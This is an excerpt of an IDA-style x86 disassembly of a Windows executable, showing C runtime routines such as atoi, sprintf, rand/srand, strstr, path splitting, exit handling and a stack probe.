dec ecx
jnz short loc_41B2D9
loc_41B2E1: ; CODE XREF: sub_41B1F0+E5j
and ebx, 3
jnz short loc_41B26B
loc_41B2E6: ; CODE XREF: sub_41B1F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41B1F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2F0 proc near ; CODE XREF: sub_41B3F0+7p
; sub_42DF80+271p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
loc_41B2F6: ; CODE XREF: sub_41B2F0+4Ej
cmp dword_4516A8, 1
jle short loc_41B316
push 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41B32F
; ---------------------------------------------------------------------------
loc_41B316: ; CODE XREF: sub_41B2F0+Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_10], edx
loc_41B32F: ; CODE XREF: sub_41B2F0+24j
cmp [ebp+var_10], 0
jz short loc_41B340
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_41B2F6
; ---------------------------------------------------------------------------
loc_41B340: ; CODE XREF: sub_41B2F0+43j
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+var_4]
mov [ebp+var_C], ecx
cmp [ebp+var_4], 2Dh
jz short loc_41B365
cmp [ebp+var_4], 2Bh
jnz short loc_41B378
loc_41B365: ; CODE XREF: sub_41B2F0+6Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_41B378: ; CODE XREF: sub_41B2F0+73j
mov [ebp+var_8], 0
loc_41B37F: ; CODE XREF: sub_41B2F0+E9j
cmp dword_4516A8, 1
jle short loc_41B39B
push 4
mov edx, [ebp+var_4]
push edx
call sub_421E50
add esp, 8
mov [ebp+var_14], eax
jmp short loc_41B3B0
; ---------------------------------------------------------------------------
loc_41B39B: ; CODE XREF: sub_41B2F0+96j
mov eax, [ebp+var_4]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_14], edx
loc_41B3B0: ; CODE XREF: sub_41B2F0+A9j
cmp [ebp+var_14], 0
jz short loc_41B3DB
mov eax, [ebp+var_8]
imul eax, 0Ah
mov ecx, [ebp+var_4]
lea edx, [eax+ecx-30h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_41B37F
; ---------------------------------------------------------------------------
loc_41B3DB: ; CODE XREF: sub_41B2F0+C4j
cmp [ebp+var_C], 2Dh
jnz short loc_41B3E8
mov eax, [ebp+var_8]
neg eax
jmp short loc_41B3EB
; ---------------------------------------------------------------------------
loc_41B3E8: ; CODE XREF: sub_41B2F0+EFj
mov eax, [ebp+var_8]
loc_41B3EB: ; CODE XREF: sub_41B2F0+F6j
mov esp, ebp
pop ebp
retn
sub_41B2F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3F0 proc near ; CODE XREF: sub_40141B+303p
; sub_401CC1+AE4p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_41B2F0
add esp, 4
pop ebp
retn
sub_41B3F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
loc_41B417: ; CODE XREF: .nsp0:0041B45Fj
cmp dword_4516A8, 1
jle short loc_41B437
push 8
mov eax, [ebp+8]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_421E50
add esp, 8
mov [ebp-14h], eax
jmp short loc_41B450
; ---------------------------------------------------------------------------
loc_41B437: ; CODE XREF: .nsp0:0041B41Ej
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp-14h], edx
loc_41B450: ; CODE XREF: .nsp0:0041B435j
cmp dword ptr [ebp-14h], 0
jz short loc_41B461
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
jmp short loc_41B417
; ---------------------------------------------------------------------------
loc_41B461: ; CODE XREF: .nsp0:0041B454j
mov ecx, [ebp+8]
xor edx, edx
mov dl, [ecx]
mov [ebp-4], edx
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
mov ecx, [ebp-4]
mov [ebp-10h], ecx
cmp dword ptr [ebp-4], 2Dh
jz short loc_41B486
cmp dword ptr [ebp-4], 2Bh
jnz short loc_41B499
loc_41B486: ; CODE XREF: .nsp0:0041B47Ej
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
loc_41B499: ; CODE XREF: .nsp0:0041B484j
mov dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-8], 0
loc_41B4A7: ; CODE XREF: .nsp0:0041B517j
cmp dword_4516A8, 1
jle short loc_41B4C3
push 4
mov edx, [ebp-4]
push edx
call sub_421E50
add esp, 8
mov [ebp-18h], eax
jmp short loc_41B4D8
; ---------------------------------------------------------------------------
loc_41B4C3: ; CODE XREF: .nsp0:0041B4AEj
mov eax, [ebp-4]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp-18h], edx
loc_41B4D8: ; CODE XREF: .nsp0:0041B4C1j
cmp dword ptr [ebp-18h], 0
jz short loc_41B519
push 0
push 0Ah
mov eax, [ebp-8]
push eax
mov ecx, [ebp-0Ch]
push ecx
call sub_41DE60
mov ecx, eax
mov esi, edx
mov eax, [ebp-4]
sub eax, 30h
cdq
add ecx, eax
adc esi, edx
mov [ebp-0Ch], ecx
mov [ebp-8], esi
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
jmp short loc_41B4A7
; ---------------------------------------------------------------------------
loc_41B519: ; CODE XREF: .nsp0:0041B4DCj
cmp dword ptr [ebp-10h], 2Dh
jnz short loc_41B52E
mov eax, [ebp-0Ch]
neg eax
mov edx, [ebp-8]
adc edx, 0
neg edx
jmp short loc_41B534
; ---------------------------------------------------------------------------
loc_41B52E: ; CODE XREF: .nsp0:0041B51Dj
mov eax, [ebp-0Ch]
mov edx, [ebp-8]
loc_41B534: ; CODE XREF: .nsp0:0041B52Cj
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B540 proc near ; CODE XREF: .nsp0:0041EA92p
push ebp
mov ebp, esp
cmp off_4510FC, 0
jz short loc_41B552
call off_4510FC
loc_41B552: ; CODE XREF: sub_41B540+Aj
push offset dword_43A030
push offset dword_43A01C
call sub_41B710
add esp, 8
push offset dword_43A018
push offset dword_43A000
call sub_41B710
add esp, 8
pop ebp
retn
sub_41B540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B580 proc near ; CODE XREF: .nsp0:0041EAEDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
mov eax, [ebp+arg_0]
push eax
call sub_41B600
add esp, 0Ch
pop ebp
retn
sub_41B580 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B5A0 proc near ; CODE XREF: .nsp0:0041EB14p
; sub_41EB30+22p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1
mov eax, [ebp+arg_0]
push eax
call sub_41B600
add esp, 0Ch
pop ebp
retn
sub_41B5A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
push 0
call sub_41B600
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 1
push 0
call sub_41B600
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B600 proc near ; CODE XREF: sub_41B580+Bp
; sub_41B5A0+Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
call sub_41B6F0
cmp dword_4EF8B8, 1
jnz short loc_41B623
mov eax, [ebp+arg_0]
push eax
call dword_4F13B4 ; GetCurrentProcess
push eax
call dword_4F13AC ; TerminateProcess
loc_41B623: ; CODE XREF: sub_41B600+10j
mov dword_4EF8B4, 1
mov cl, byte ptr [ebp+arg_8]
mov byte_4EF8B0, cl
cmp [ebp+arg_4], 0
jnz short loc_41B683
cmp dword_4F0FB4, 0
jz short loc_41B671
mov edx, dword_4F0FB0
mov [ebp+var_4], edx
loc_41B64E: ; CODE XREF: sub_41B600:loc_41B66Fj
mov eax, [ebp+var_4]
sub eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, dword_4F0FB4
jb short loc_41B671
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_41B66F
mov eax, [ebp+var_4]
call dword ptr [eax]
loc_41B66F: ; CODE XREF: sub_41B600+68j
jmp short loc_41B64E
; ---------------------------------------------------------------------------
loc_41B671: ; CODE XREF: sub_41B600+43j
; sub_41B600+60j
push offset dword_43A03C
push offset dword_43A034
call sub_41B710
add esp, 8
loc_41B683: ; CODE XREF: sub_41B600+3Aj
push offset dword_43A048
push offset dword_43A040
call sub_41B710
add esp, 8
cmp dword_4EF8BC, 0
jnz short loc_41B6BE
push 0FFFFFFFFh
call sub_41A400
add esp, 4
and eax, 20h
test eax, eax
jz short loc_41B6BE
mov dword_4EF8BC, 1
call sub_41AD10
loc_41B6BE: ; CODE XREF: sub_41B600+9Cj
; sub_41B600+ADj
cmp [ebp+arg_8], 0
jz short loc_41B6CB
call sub_41B700
jmp short loc_41B6DF
; ---------------------------------------------------------------------------
loc_41B6CB: ; CODE XREF: sub_41B600+C2j
mov dword_4EF8B8, 1
mov ecx, [ebp+arg_0]
push ecx
call dword_4F1320 ; ExitProcess
loc_41B6DF: ; CODE XREF: sub_41B600+C9j
mov esp, ebp
pop ebp
retn
sub_41B600 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B6F0 proc near ; CODE XREF: sub_41B600+4p
; sub_41D930+4p
push ebp
mov ebp, esp
push 0Dh
call sub_41FB40
add esp, 4
pop ebp
retn
sub_41B6F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B700 proc near ; CODE XREF: sub_41B600+C4p
; sub_41D930+61p ...
push ebp
mov ebp, esp
push 0Dh
call sub_41FBE0
add esp, 4
pop ebp
retn
sub_41B700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B710 proc near ; CODE XREF: sub_41B540+1Cp
; sub_41B540+2Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
loc_41B713: ; CODE XREF: sub_41B710+21j
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb short loc_41B733
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0
jz short loc_41B728
mov edx, [ebp+arg_0]
call dword ptr [edx]
loc_41B728: ; CODE XREF: sub_41B710+11j
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
jmp short loc_41B713
; ---------------------------------------------------------------------------
loc_41B733: ; CODE XREF: sub_41B710+9j
pop ebp
retn
sub_41B710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B740 proc near ; CODE XREF: sub_40141B+18Cp
; sub_40141B+292p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_41B755: ; CODE XREF: sub_41B740+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41B779
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41B779
int 3 ; Trap to Debugger
loc_41B779: ; CODE XREF: sub_41B740+19j
; sub_41B740+36j
xor edx, edx
test edx, edx
jnz short loc_41B755
loc_41B77F: ; CODE XREF: sub_41B740+67j
cmp [ebp+arg_4], 0
jnz short loc_41B7A3
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41B7A3
int 3 ; Trap to Debugger
loc_41B7A3: ; CODE XREF: sub_41B740+43j
; sub_41B740+60j
xor eax, eax
test eax, eax
jnz short loc_41B77F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov dword ptr [eax+4], 7FFFFFFFh
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_24]
push eax
call sub_422D70
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_41B81F
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_30], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_41B830
; ---------------------------------------------------------------------------
loc_41B81F: ; CODE XREF: sub_41B740+BBj
mov edx, [ebp+var_24]
push edx
push 0
call sub_422AF0
add esp, 8
mov [ebp+var_30], eax
loc_41B830: ; CODE XREF: sub_41B740+DDj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41B740 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B840 proc near ; CODE XREF: sub_40141B+45p
; sub_401CC1+2C0Ep ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call sub_423CF0
mov ecx, [ebp+arg_0]
mov [eax+14h], ecx
pop ebp
retn
sub_41B840 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B850 proc near ; CODE XREF: sub_40141B:loc_401570p
; sub_40141B:loc_40189Bp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_423CF0
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
imul ecx, 343FDh
add ecx, 269EC3h
mov edx, [ebp+var_4]
mov [edx+14h], ecx
mov eax, [ebp+var_4]
mov eax, [eax+14h]
shr eax, 10h
and eax, 7FFFh
mov esp, ebp
pop ebp
retn
sub_41B850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B890 proc near ; CODE XREF: sub_40141B+12Ap
; sub_401CC1+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41B90A
mov dh, [ecx+1]
test dh, dh
jz short loc_41B8F7
loc_41B8A8: ; CODE XREF: sub_41B890+52j
; sub_41B890+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41B8CA
test al, al
jz short loc_41B8C4
loc_41B8B9: ; CODE XREF: sub_41B890+32j
mov al, [esi]
inc esi
loc_41B8BC: ; CODE XREF: sub_41B890+3Fj
cmp al, dl
jz short loc_41B8CA
test al, al
jnz short loc_41B8B9
loc_41B8C4: ; CODE XREF: sub_41B890+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B8CA: ; CODE XREF: sub_41B890+23j
; sub_41B890+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41B8BC
lea edi, [esi-1]
loc_41B8D4: ; CODE XREF: sub_41B890+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41B903
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41B8A8
mov al, [ecx+3]
test al, al
jz short loc_41B903
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41B8D4
jmp short loc_41B8A8
; ---------------------------------------------------------------------------
loc_41B8F7: ; CODE XREF: sub_41B890+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C406
; ---------------------------------------------------------------------------
loc_41B903: ; CODE XREF: sub_41B890+49j
; sub_41B890+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B90A: ; CODE XREF: sub_41B890+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41B890 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B910 proc near ; CODE XREF: sub_40141B+117p
; sub_401CC1+1A1Cp ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_C]
mov [ebp+var_2C], ecx
loc_41B925: ; CODE XREF: sub_41B910+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41B949
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41B949
int 3 ; Trap to Debugger
loc_41B949: ; CODE XREF: sub_41B910+19j
; sub_41B910+36j
xor edx, edx
test edx, edx
jnz short loc_41B925
loc_41B94F: ; CODE XREF: sub_41B910+67j
cmp [ebp+arg_8], 0
jnz short loc_41B973
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41B973
int 3 ; Trap to Debugger
loc_41B973: ; CODE XREF: sub_41B910+43j
; sub_41B910+60j
xor eax, eax
test eax, eax
jnz short loc_41B94F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_422D70
add esp, 0Ch
mov [ebp+var_28], eax
mov edx, [ebp+var_24]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_24]
cmp dword ptr [edx+4], 0
jl short loc_41B9EE
mov eax, [ebp+var_24]
mov ecx, [eax]
mov byte ptr [ecx], 0
xor edx, edx
and edx, 0FFh
mov [ebp+var_30], edx
mov eax, [ebp+var_24]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+var_24]
mov [edx], ecx
jmp short loc_41B9FF
; ---------------------------------------------------------------------------
loc_41B9EE: ; CODE XREF: sub_41B910+BAj
mov eax, [ebp+var_24]
push eax
push 0
call sub_422AF0
add esp, 8
mov [ebp+var_30], eax
loc_41B9FF: ; CODE XREF: sub_41B910+DCj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41B910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA10 proc near ; CODE XREF: sub_40141B+F7p
; sub_401CC1+1D09p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
push eax
call sub_418D00
add esp, 4
cmp eax, 1
jb short loc_41BA6B
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx+1]
cmp edx, 3Ah
jnz short loc_41BA6B
cmp [ebp+arg_4], 0
jz short loc_41BA60
push 2
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_4246D0
add esp, 0Ch
mov edx, [ebp+arg_4]
mov byte ptr [edx+2], 0
loc_41BA60: ; CODE XREF: sub_41BA10+35j
mov eax, [ebp+arg_0]
add eax, 2
mov [ebp+arg_0], eax
jmp short loc_41BA77
; ---------------------------------------------------------------------------
loc_41BA6B: ; CODE XREF: sub_41BA10+23j
; sub_41BA10+2Fj
cmp [ebp+arg_4], 0
jz short loc_41BA77
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 0
loc_41BA77: ; CODE XREF: sub_41BA10+59j
; sub_41BA10+5Fj
mov [ebp+var_C], 0
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
jmp short loc_41BA8F
; ---------------------------------------------------------------------------
loc_41BA86: ; CODE XREF: sub_41BA10:loc_41BAECj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41BA8F: ; CODE XREF: sub_41BA10+74j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41BAEE
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
xor edx, edx
mov dl, byte_4EFE61[ecx]
and edx, 4
test edx, edx
jz short loc_41BABA
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_41BAEC
; ---------------------------------------------------------------------------
loc_41BABA: ; CODE XREF: sub_41BA10+9Dj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 2Fh
jz short loc_41BAD0
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 5Ch
jnz short loc_41BADB
loc_41BAD0: ; CODE XREF: sub_41BA10+B3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
jmp short loc_41BAEC
; ---------------------------------------------------------------------------
loc_41BADB: ; CODE XREF: sub_41BA10+BEj
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_41BAEC
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_41BAEC: ; CODE XREF: sub_41BA10+A8j
; sub_41BA10+C9j ...
jmp short loc_41BA86
; ---------------------------------------------------------------------------
loc_41BAEE: ; CODE XREF: sub_41BA10+87j
cmp [ebp+var_C], 0
jz short loc_41BB44
cmp [ebp+arg_8], 0
jz short loc_41BB3C
mov eax, [ebp+var_C]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_41BB12
mov ecx, [ebp+var_C]
sub ecx, [ebp+arg_0]
mov [ebp+var_14], ecx
jmp short loc_41BB19
; ---------------------------------------------------------------------------
loc_41BB12: ; CODE XREF: sub_41BA10+F5j
mov [ebp+var_14], 0FFh
loc_41BB19: ; CODE XREF: sub_41BA10+100j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_4246D0
add esp, 0Ch
mov eax, [ebp+arg_8]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_41BB3C: ; CODE XREF: sub_41BA10+E8j
mov ecx, [ebp+var_C]
mov [ebp+arg_0], ecx
jmp short loc_41BB50
; ---------------------------------------------------------------------------
loc_41BB44: ; CODE XREF: sub_41BA10+E2j
cmp [ebp+arg_8], 0
jz short loc_41BB50
mov edx, [ebp+arg_8]
mov byte ptr [edx], 0
loc_41BB50: ; CODE XREF: sub_41BA10+132j
; sub_41BA10+138j
cmp [ebp+var_8], 0
jz loc_41BBFA
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_0]
jb loc_41BBFA
cmp [ebp+arg_C], 0
jz short loc_41BBAF
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_0]
cmp ecx, 0FFh
jnb short loc_41BB85
mov edx, [ebp+var_8]
sub edx, [ebp+arg_0]
mov [ebp+var_18], edx
jmp short loc_41BB8C
; ---------------------------------------------------------------------------
loc_41BB85: ; CODE XREF: sub_41BA10+168j
mov [ebp+var_18], 0FFh
loc_41BB8C: ; CODE XREF: sub_41BA10+173j
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_C]
push eax
call sub_4246D0
add esp, 0Ch
mov ecx, [ebp+arg_C]
add ecx, [ebp+var_10]
mov byte ptr [ecx], 0
loc_41BBAF: ; CODE XREF: sub_41BA10+15Aj
cmp [ebp+arg_10], 0
jz short loc_41BBF8
mov edx, [ebp+var_4]
sub edx, [ebp+var_8]
cmp edx, 0FFh
jnb short loc_41BBCE
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_1C], eax
jmp short loc_41BBD5
; ---------------------------------------------------------------------------
loc_41BBCE: ; CODE XREF: sub_41BA10+1B1j
mov [ebp+var_1C], 0FFh
loc_41BBD5: ; CODE XREF: sub_41BA10+1BCj
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_4246D0
add esp, 0Ch
mov edx, [ebp+arg_10]
add edx, [ebp+var_10]
mov byte ptr [edx], 0
loc_41BBF8: ; CODE XREF: sub_41BA10+1A3j
jmp short loc_41BC4E
; ---------------------------------------------------------------------------
loc_41BBFA: ; CODE XREF: sub_41BA10+144j
; sub_41BA10+150j
cmp [ebp+arg_C], 0
jz short loc_41BC42
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
cmp eax, 0FFh
jnb short loc_41BC18
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
jmp short loc_41BC1F
; ---------------------------------------------------------------------------
loc_41BC18: ; CODE XREF: sub_41BA10+1FBj
mov [ebp+var_20], 0FFh
loc_41BC1F: ; CODE XREF: sub_41BA10+206j
mov edx, [ebp+var_20]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_4246D0
add esp, 0Ch
mov eax, [ebp+arg_C]
add eax, [ebp+var_10]
mov byte ptr [eax], 0
loc_41BC42: ; CODE XREF: sub_41BA10+1EEj
cmp [ebp+arg_10], 0
jz short loc_41BC4E
mov ecx, [ebp+arg_10]
mov byte ptr [ecx], 0
loc_41BC4E: ; CODE XREF: sub_41BA10:loc_41BBF8j
; sub_41BA10+236j
mov esp, ebp
pop ebp
retn
sub_41BA10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BC60 proc near ; CODE XREF: sub_401B49+8p
; sub_401CC1+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41BC80
loc_41BC6C: ; CODE XREF: sub_41BC60+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41BC6C
loc_41BC80: ; CODE XREF: sub_41BC60+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41BC60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC90 proc near ; CODE XREF: sub_401CC1+69B8p
; sub_401CC1+69E7p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
